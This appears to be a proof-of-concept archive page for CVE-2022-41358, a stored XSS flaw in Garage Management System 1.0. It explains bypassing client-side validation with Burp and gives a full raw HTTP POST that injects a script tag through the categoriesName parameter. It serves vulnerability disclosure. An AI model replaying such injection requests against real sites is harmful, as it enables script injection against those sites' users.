Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-41358 PoC — Garage Management System 跨站脚本漏洞

Source
Associated Vulnerability
Title: Garage Management System 跨站脚本漏洞 (CVE-2022-41358)
Description:A stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the categoriesName parameter in createCategories.php.
Readme
## Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored XSS
## Exploit Author: Sam Wallace
## Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
## Version: 1.0
## Tested on: Debian
## ID: CVE-2022-41358

 

## Summary:
Garage Management System utilizes client side validation to prevent XSS.
Using burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.

 

### When messages suggest that validation is occuring this is a good point in time to validate that these checks are also being completed server side. 
![Alt text](/img/client_side_validation.png "Optional title")

 

### This is the request prior to any modifications in Burp.
![Alt text](/img/Intercept.png "Optional title")

 

### Perform a quick modification in Burp...
![Alt text](/img/Tamper.png "Optional title")

 

### Profit!
![Alt text](/img/profit.png "Optional title")

 

### Proof
![Alt text](/img/stored_xss.png "Optional title")
#### POC

```
Parameter: categoriesName
URI: /garage/php_action/createCategories.php
```

```POST /garage/php_action/createCategories.php HTTP/1.1
Host: 10.24.0.69
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.24.0.69
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.24.0.69/garage/add-category.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
Connection: close

------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesName"

<script>alert(1)</script>
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesStatus"

1
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="create"


------WebKitFormBoundaryqKDsN4gmatTEEkhS--


![Alt text](/img/Intercept.png "Optional title")
```


## Reference:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41358
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →